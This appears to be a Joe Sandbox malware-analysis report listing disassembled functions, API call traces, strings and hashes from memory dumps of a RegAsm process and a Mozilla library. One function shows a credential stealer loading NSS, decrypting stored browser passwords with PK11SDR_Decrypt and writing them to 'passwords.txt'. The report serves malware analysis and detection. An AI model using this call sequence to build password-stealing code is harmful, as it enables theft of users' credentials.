Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9f96b6833605b0715f9484dbe982297a654c379e9a96f2571680b3f7b5e8fa17
Instruction ID: 43cdf4ecb647160fda175e5076d83385583e07dd488e496ff266cef725db0fb4
Opcode Fuzzy Hash: 9f96b6833605b0715f9484dbe982297a654c379e9a96f2571680b3f7b5e8fa17
Instruction Fuzzy Hash: 7ED092B1509719AFDB288F5AE480896FBE8EE48274750C42EE8AE97700C231A8408B90

Function 00418563 Relevance: .0, Instructions: 14COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2982048751.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2982048751.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f8d911352b7be11e8ef3f8d43dc69cd37138e10f06c97852b63a715cd4b250d5
Instruction ID: d256f1c99479b207678580fcb63197705f640815169115519c5f26934de16b0c
Opcode Fuzzy Hash: f8d911352b7be11e8ef3f8d43dc69cd37138e10f06c97852b63a715cd4b250d5
Instruction Fuzzy Hash: 1AE06C78A61648EFC740CF48C185E49B3F8FB09768F118095E905DB321C378EE00EB50

Function 00418562 Relevance: .0, Instructions: 14COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2982048751.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2982048751.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 35f880b7d9409492cfbd2c31b6ba08b67b52b83fed8c053745051b7244bb587c
Instruction ID: 81b03007a1f881deed44a42fc0175a6fbd256bce6d09bf2effb1e14420dd7128
Opcode Fuzzy Hash: 35f880b7d9409492cfbd2c31b6ba08b67b52b83fed8c053745051b7244bb587c
Instruction Fuzzy Hash: DEE04278A55644DFC741CF58D195E99B7F0EB09368F158199E806DB761C274EE00DF00

Function 0040148A Relevance: .0, Instructions: 11COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2982048751.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2982048751.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f1937a1b08348a57b00ab59f39d03f042d4a1f0e171b8ae631e82396fa0be247
Instruction ID: 6edc1f77bc014f77afb1dd4525fcd7db61d9a3eb149a076bd6fc7a55924a73f3
Opcode Fuzzy Hash: f1937a1b08348a57b00ab59f39d03f042d4a1f0e171b8ae631e82396fa0be247
Instruction Fuzzy Hash: D9C08C72529208EFD70DCB84D613F5AB3FCE704758F10409CE00293780C67DAB00CA58

Function 004014A2 Relevance: .0, Instructions: 3COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2982048751.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2982048751.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 17de449bc8e75433a69f048acdc393cdc02c9d7c97a966a586413745d476a19c
Instruction ID: 5941d710df6caaa93d6ffa2de60dce8e613dec4f923ccdd24a2439a3e016513d
Opcode Fuzzy Hash: 17de449bc8e75433a69f048acdc393cdc02c9d7c97a966a586413745d476a19c
Instruction Fuzzy Hash: DAA002315569D48ECE53D7158260F207BB8A741A41F0504D1E491C6863C11CDA50D950

Function 0040DCA0 Relevance: 90.4, APIs: 60, Instructions: 399memorystringCOMMON

Download Yara Rule

APIs

Part of subcall function 0040DB7F: lstrlenA.KERNEL32(?,750A5460,?,00000000), ref: 0040DBBB
Part of subcall function 0040DB7F: strchr.MSVCRT ref: 0040DBCD

GetProcessHeap.KERNEL32(00000008,?,750A5460,?,00000000), ref: 0040DD04
HeapAlloc.KERNEL32(00000000), ref: 0040DD0B
GetProcessHeap.KERNEL32(00000000,?), ref: 0040DD20
HeapFree.KERNEL32(00000000), ref: 0040DD27
strcpy_s.MSVCRT ref: 0040DD43
GetProcessHeap.KERNEL32(00000000,?), ref: 0040DD55
HeapFree.KERNEL32(00000000), ref: 0040DD62
GetProcessHeap.KERNEL32(00000000,00000000), ref: 0040DD93
HeapFree.KERNEL32(00000000), ref: 0040DD9A
GetProcessHeap.KERNEL32(00000008,?), ref: 0040DDA1
HeapAlloc.KERNEL32(00000000), ref: 0040DDA8
GetProcessHeap.KERNEL32(00000000,?), ref: 0040DDBD
HeapFree.KERNEL32(00000000), ref: 0040DDC4
strcpy_s.MSVCRT ref: 0040DDDA
GetProcessHeap.KERNEL32(00000000,?), ref: 0040DDEC
HeapFree.KERNEL32(00000000), ref: 0040DDF3
GetProcessHeap.KERNEL32(00000000,00000000), ref: 0040DE11
HeapFree.KERNEL32(00000000), ref: 0040DE18
GetProcessHeap.KERNEL32(00000008,?), ref: 0040DE1F
HeapAlloc.KERNEL32(00000000), ref: 0040DE26
GetProcessHeap.KERNEL32(00000000,?), ref: 0040DE3B
HeapFree.KERNEL32(00000000), ref: 0040DE42
strcpy_s.MSVCRT ref: 0040DE52
GetProcessHeap.KERNEL32(00000000,?), ref: 0040DE64
HeapFree.KERNEL32(00000000), ref: 0040DE6B
GetProcessHeap.KERNEL32(00000000,00000000), ref: 0040DE93
HeapFree.KERNEL32(00000000), ref: 0040DE9A
GetProcessHeap.KERNEL32(00000008,?), ref: 0040DEA1
HeapAlloc.KERNEL32(00000000), ref: 0040DEA8
GetProcessHeap.KERNEL32(00000000,?), ref: 0040DEC3
HeapFree.KERNEL32(00000000), ref: 0040DECA
strcpy_s.MSVCRT ref: 0040DEDD
GetProcessHeap.KERNEL32(00000000,?), ref: 0040DEEF
HeapFree.KERNEL32(00000000), ref: 0040DEF6
lstrlenA.KERNEL32(00000000), ref: 0040DEFF
GetProcessHeap.KERNEL32(00000008,00000000), ref: 0040DF15
HeapAlloc.KERNEL32(00000000), ref: 0040DF1C
lstrlenA.KERNEL32(00000000), ref: 0040DF34

Part of subcall function 0040F128: std::_Xinvalid_argument.LIBCPMT ref: 0040F13E

strcpy_s.MSVCRT ref: 0040DF75
GetProcessHeap.KERNEL32(00000000,?,00000001,00000001), ref: 0040DF9B
HeapFree.KERNEL32(00000000), ref: 0040DFA8
lstrlenA.KERNEL32(?), ref: 0040DFAD
GetProcessHeap.KERNEL32(00000008,00000001), ref: 0040DFBC
HeapAlloc.KERNEL32(00000000), ref: 0040DFC3
GetProcessHeap.KERNEL32(00000000,?), ref: 0040DFD7
HeapFree.KERNEL32(00000000), ref: 0040DFDE
strcpy_s.MSVCRT ref: 0040DFEC
GetProcessHeap.KERNEL32(00000000,?), ref: 0040DFF9
HeapFree.KERNEL32(00000000), ref: 0040E000
GetProcessHeap.KERNEL32(00000000,?), ref: 0040E035
HeapFree.KERNEL32(00000000), ref: 0040E03C
GetProcessHeap.KERNEL32(00000008,?), ref: 0040E043
HeapAlloc.KERNEL32(00000000), ref: 0040E04A
strcpy_s.MSVCRT ref: 0040E065
GetProcessHeap.KERNEL32(00000000,?), ref: 0040E077
HeapFree.KERNEL32(00000000), ref: 0040E07E
GetProcessHeap.KERNEL32(00000000,?), ref: 0040E122
HeapFree.KERNEL32(00000000), ref: 0040E129
GetProcessHeap.KERNEL32(00000000,?), ref: 0040E173
HeapFree.KERNEL32(00000000), ref: 0040E17A

Part of subcall function 0040DB7F: strchr.MSVCRT ref: 0040DBF2
Part of subcall function 0040DB7F: lstrlenA.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,0040DCF7), ref: 0040DC14
Part of subcall function 0040DB7F: GetProcessHeap.KERNEL32(00000008,-00000001,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 0040DC21
Part of subcall function 0040DB7F: HeapAlloc.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,0040DCF7), ref: 0040DC28
Part of subcall function 0040DB7F: strcpy_s.MSVCRT ref: 0040DC6F

Memory Dump Source

Source File: 00000003.00000002.2982048751.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2982048751.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Heap$Process$Free$Allocstrcpy_s$lstrlen$strchr$Xinvalid_argumentstd::_
String ID:
API String ID: 838878465-0
Opcode ID: 83bc938666e6f99dd1040cc5e602858ddfbc562e8f7a3af34851d743888bf3de
Instruction ID: 73ce51415629f3e468882b1d0d1c1ddd59963834b76eec8667bdeb639231cf34
Opcode Fuzzy Hash: 83bc938666e6f99dd1040cc5e602858ddfbc562e8f7a3af34851d743888bf3de
Instruction Fuzzy Hash: BFE14C72C00219ABEF249FF5DC88ADEBF79BF08305F1454AAF105B3152EA3A59849F54

Function 6C18CC00 Relevance: 73.7, APIs: 25, Strings: 24, Instructions: 233stringCOMMON

Download Yara Rule

APIs

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,default,?,6C15582D), ref: 6C18CC27
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,java,?,?,?,6C15582D), ref: 6C18CC3D
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,6C1BFE98,?,?,?,?,?,6C15582D), ref: 6C18CC56
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,leaf,?,?,?,?,?,?,?,6C15582D), ref: 6C18CC6C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,mainthreadio,?,?,?,?,?,?,?,?,?,6C15582D), ref: 6C18CC82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileio,?,?,?,?,?,?,?,?,?,?,?,6C15582D), ref: 6C18CC98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileioall,?,?,?,?,?,?,?,?,?,?,?,?,?,6C15582D), ref: 6C18CCAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,noiostacks), ref: 6C18CCC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,screenshots), ref: 6C18CCDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,seqstyle), ref: 6C18CCEC
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,stackwalk), ref: 6C18CCFE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,jsallocations), ref: 6C18CD14
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nostacksampling), ref: 6C18CD82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,preferencereads), ref: 6C18CD98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nativeallocations), ref: 6C18CDAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,ipcmessages), ref: 6C18CDC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,audiocallbacktracing), ref: 6C18CDDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpu), ref: 6C18CDF0
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,notimerresolutionchange), ref: 6C18CE06
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpuallthreads), ref: 6C18CE1C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,samplingallthreads), ref: 6C18CE32
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,markersallthreads), ref: 6C18CE48
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,unregisteredthreads), ref: 6C18CE5E
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,processcpu), ref: 6C18CE74
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,power), ref: 6C18CE8A

Strings

Unrecognized feature "%s"., xrefs: 6C18CEA0
screenshots, xrefs: 6C18CCD4
markersallthreads, xrefs: 6C18CE42
stackwalk, xrefs: 6C18CCF8
audiocallbacktracing, xrefs: 6C18CDD4
seqstyle, xrefs: 6C18CCE6
java, xrefs: 6C18CC37
mainthreadio, xrefs: 6C18CC7C
power, xrefs: 6C18CE84
preferencereads, xrefs: 6C18CD92
fileioall, xrefs: 6C18CCA8
ipcmessages, xrefs: 6C18CDBE
samplingallthreads, xrefs: 6C18CE2C
unregisteredthreads, xrefs: 6C18CE58
nostacksampling, xrefs: 6C18CD7C
notimerresolutionchange, xrefs: 6C18CE00
jsallocations, xrefs: 6C18CD0E
default, xrefs: 6C18CC21
fileio, xrefs: 6C18CC92
noiostacks, xrefs: 6C18CCBE
nativeallocations, xrefs: 6C18CDA8
leaf, xrefs: 6C18CC66
processcpu, xrefs: 6C18CE6E
cpuallthreads, xrefs: 6C18CE16

Memory Dump Source

Source File: 00000003.00000002.3347618666.000000006C141000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C140000, based on PE: true

Associated: 00000003.00000002.3345201274.000000006C140000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.3353640079.000000006C1BD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.3355882897.000000006C1CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.3358694329.000000006C1D2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c140000_RegAsm.jbxd

Similarity

API ID: strcmp
String ID: Unrecognized feature "%s".$audiocallbacktracing$cpuallthreads$default$fileio$fileioall$ipcmessages$java$jsallocations$leaf$mainthreadio$markersallthreads$nativeallocations$noiostacks$nostacksampling$notimerresolutionchange$power$preferencereads$processcpu$samplingallthreads$screenshots$seqstyle$stackwalk$unregisteredthreads
API String ID: 1004003707-2809817890
Opcode ID: 05bc55a6d307aeb5c8dec7f3780d37c626a2acd9e4204eb8ee83c639804ea17f
Instruction ID: fc8dc13e56f9e17a85edb55021bc0146f9b24ce8b6761ffe894178607d13e480
Opcode Fuzzy Hash: 05bc55a6d307aeb5c8dec7f3780d37c626a2acd9e4204eb8ee83c639804ea17f
Instruction Fuzzy Hash: D05197C5A4F22512FA0031256D74BAA1506EFA325EF50C73AED19B1F80FB1CA6098DF7

Function 0040A916 Relevance: 63.2, APIs: 34, Strings: 2, Instructions: 211stringmemoryfileCOMMON

Download Yara Rule

APIs

NSS_Init.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,0040B824), ref: 0040A922

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,00417044,004366C7,?,?,?,?,00418558), ref: 0041050D

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,004175B2,004366D6), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,00417083,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 004105BD

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,00417065,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,00417065,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,00417065,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 00410650

CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000,0043739C,0043680B), ref: 0040A9C1
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002,?,?,?,?,?,?,?,?,?,?,0040B824), ref: 0040A9D9
GetFileSize.KERNEL32(00000000,00000000,?,?,?,?,?,?,?,?,?,?,0040B824), ref: 0040A9E1
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,?,0040B824), ref: 0040A9ED
??_U@YAPAXI@Z.MSVCRT(00000001,?,?,?,?,?,?,?,?,?,?,0040B824), ref: 0040A9F7
ReadFile.KERNEL32(00000000,00000000,00000000,?,00000000,?,?,?,?,?,?,?,?,?,0040B824), ref: 0040AA09
GetProcessHeap.KERNEL32(00000000,000F423F,?,?,?,?,?,?,?,?,?,0040B824), ref: 0040AA15
HeapAlloc.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,0040B824), ref: 0040AA1C
StrStrA.SHLWAPI(0040B824,?,?,?,?,?,?,?,?,?,0040B824), ref: 0040AA2D
StrStrA.SHLWAPI(-00000010,?,?,?,?,?,?,?,?,?,0040B824), ref: 0040AA47
lstrcatA.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,0040B824), ref: 0040AA5A
lstrcatA.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,0040B824), ref: 0040AA64
lstrcatA.KERNEL32(00000000,004373A0,?,?,?,?,?,?,?,?,?,0040B824), ref: 0040AA70
lstrcatA.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,0040B824), ref: 0040AA7A
lstrcatA.KERNEL32(00000000,004373A4,?,?,?,?,?,?,?,?,?,0040B824), ref: 0040AA86
lstrcatA.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,0040B824), ref: 0040AA93
lstrcatA.KERNEL32(00000000,-00000010,?,?,?,?,?,?,?,?,?,0040B824), ref: 0040AA9B
lstrcatA.KERNEL32(00000000,004373A8,?,?,?,?,?,?,?,?,?,0040B824), ref: 0040AAA7
StrStrA.SHLWAPI(-000000FE,?,?,?,?,?,?,?,?,?,0040B824), ref: 0040AAB7
StrStrA.SHLWAPI(00000014,?,?,?,?,?,?,?,?,?,0040B824), ref: 0040AAC7
lstrcatA.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,0040B824), ref: 0040AADA

Part of subcall function 0040A7D8: _memset.LIBCMT ref: 0040A815
Part of subcall function 0040A7D8: lstrlenA.KERNEL32(?,00000001,?,?,00000000,00000000,00000000,00000000,00000014,?,0040AAE7), ref: 0040A830
Part of subcall function 0040A7D8: CryptStringToBinaryA.CRYPT32(?,00000000,?,00000001,?,?,00000000), ref: 0040A838
Part of subcall function 0040A7D8: PK11_GetInternalKeySlot.NSS3(?,00000000,?,00000001,?,?,00000000,00000000,00000000,00000000,00000014,?,0040AAE7), ref: 0040A846
Part of subcall function 0040A7D8: PK11_Authenticate.NSS3(00000000,00000001,00000000,?,00000000,?,00000001,?,?,00000000,00000000,00000000,00000000,00000014,?,0040AAE7), ref: 0040A85A
Part of subcall function 0040A7D8: PK11SDR_Decrypt.NSS3(?,?,00000000,?,00000000,00000000,00000000,00000000,00000014,?,0040AAE7), ref: 0040A89A
Part of subcall function 0040A7D8: _memmove.LIBCMT ref: 0040A8BB
Part of subcall function 0040A7D8: PK11_FreeSlot.NSS3(00000000,?,?,?,?,?,?,?,?,?,0040B824), ref: 0040A8EC

lstrcatA.KERNEL32(00000000,00000000,?,?,?,?,?,?,?,?,?,0040B824), ref: 0040AAE9
lstrcatA.KERNEL32(00000000,004373AC,?,?,?,?,?,?,?,?,?,0040B824), ref: 0040AAF5
StrStrA.SHLWAPI(-000000FE,?,?,?,?,?,?,?,?,?,0040B824), ref: 0040AB05
StrStrA.SHLWAPI(00000014,?,?,?,?,?,?,?,?,?,0040B824), ref: 0040AB15
lstrcatA.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,0040B824), ref: 0040AB28

Part of subcall function 0040A7D8: lstrcatA.KERNEL32(004367FF,00436807,?,00000000,00000000,00000000,00000000,00000014,?,0040AAE7), ref: 0040A8E5
Part of subcall function 0040A7D8: lstrcatA.KERNEL32(004367FF,0043680A,?,00000000,?,00000001,?,?,00000000,00000000,00000000,00000000,00000014,?,0040AAE7), ref: 0040A8FB

lstrcatA.KERNEL32(00000000,00000000,?,?,?,?,?,?,?,?,?,0040B824), ref: 0040AB37
lstrcatA.KERNEL32(00000000,004373B0,?,?,?,?,?,?,?,?,?,0040B824), ref: 0040AB43
lstrcatA.KERNEL32(00000000,004373B4,?,?,?,?,?,?,?,?,?,0040B824), ref: 0040AB4F
StrStrA.SHLWAPI(-000000FE,?,?,?,?,?,?,?,?,?,0040B824), ref: 0040AB5F
lstrlenA.KERNEL32(00000000), ref: 0040AB7D
CloseHandle.KERNEL32(?), ref: 0040ABAC
NSS_Shutdown.NSS3(?,?,?,?,?,?,?,?,?,?,0040B824), ref: 0040ABB2

Strings

passwords.txt, xrefs: 0040AB89
pe, xrefs: 0040A931

Memory Dump Source

Source File: 00000003.00000002.2982048751.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2982048751.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcat$File$lstrcpy$K11_lstrlen$HeapPointerSlot$AllocAuthenticateBinaryCloseCreateCryptDecryptFreeHandleInitInternalProcessReadShutdownSizeString_memmove_memset
String ID: passwords.txt$pe
API String ID: 2725232238-1761351166
Opcode ID: 52c77336286c9f70d7e929ee0217c54f370d3cde4ebcdc705aa30c28de71ffed
Instruction ID: 627fec6a68d7b45de2d49444bf21edccb99b78b738ef702494a6b07f3c5301c2
Opcode Fuzzy Hash: 52c77336286c9f70d7e929ee0217c54f370d3cde4ebcdc705aa30c28de71ffed
Instruction Fuzzy Hash: 0F71B331500215AFCF15EFA1ED4DD9E3BBAEF4930AF101015F901A31A1EB7A5A05CBAA

Function 6C154470 Relevance: 45.7, APIs: 20, Strings: 6, Instructions: 178libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C154730: GetModuleHandleW.KERNEL32(00000000,?,?,?,?,6C1544B2,6C1CE21C,6C1CF7F8), ref: 6C15473E
Part of subcall function 6C154730: GetProcAddress.KERNEL32(00000000,GetNtLoaderAPI), ref: 6C15474A

GetModuleHandleW.KERNEL32(WRusr.dll), ref: 6C1544BA
LoadLibraryW.KERNEL32(kernel32.dll), ref: 6C1544D2
InitOnceExecuteOnce.KERNEL32(6C1CF80C,6C14F240,?,?), ref: 6C15451A
GetModuleHandleW.KERNEL32(user32.dll), ref: 6C15455C
LoadLibraryW.KERNEL32(?), ref: 6C154592
InitializeCriticalSection.KERNEL32(6C1CF770), ref: 6C1545A2
moz_xmalloc.MOZGLUE(00000008), ref: 6C1545AA
moz_xmalloc.MOZGLUE(00000018), ref: 6C1545BB
InitOnceExecuteOnce.KERNEL32(6C1CF818,6C14F240,?,?), ref: 6C154612
?IsWin32kLockedDown@mozilla@@YA_NXZ.MOZGLUE ref: 6C154636
LoadLibraryW.KERNEL32(user32.dll), ref: 6C154644
memset.VCRUNTIME140(?,00000000,00000114), ref: 6C15466D
VerSetConditionMask.NTDLL ref: 6C15469F
VerSetConditionMask.NTDLL ref: 6C1546AB
VerSetConditionMask.NTDLL ref: 6C1546B2
VerSetConditionMask.NTDLL ref: 6C1546B9
VerSetConditionMask.NTDLL ref: 6C1546C0
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6C1546CD
GetModuleHandleW.KERNEL32(00000000), ref: 6C1546F1
GetProcAddress.KERNEL32(00000000,NativeNtBlockSet_Write), ref: 6C1546FD

Strings

NativeNtBlockSet_Write, xrefs: 6C1546F7
g/, xrefs: 6C15447C
user32.dll, xrefs: 6C154557, 6C15463F
l, xrefs: 6C154578
WRusr.dll, xrefs: 6C1544B5
kernel32.dll, xrefs: 6C1544CD

Memory Dump Source

Source File: 00000003.00000002.3347618666.000000006C141000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C140000, based on PE: true

Associated: 00000003.00000002.3345201274.000000006C140000.00000002.00000001.01000000.00000009.sdmpDownload File
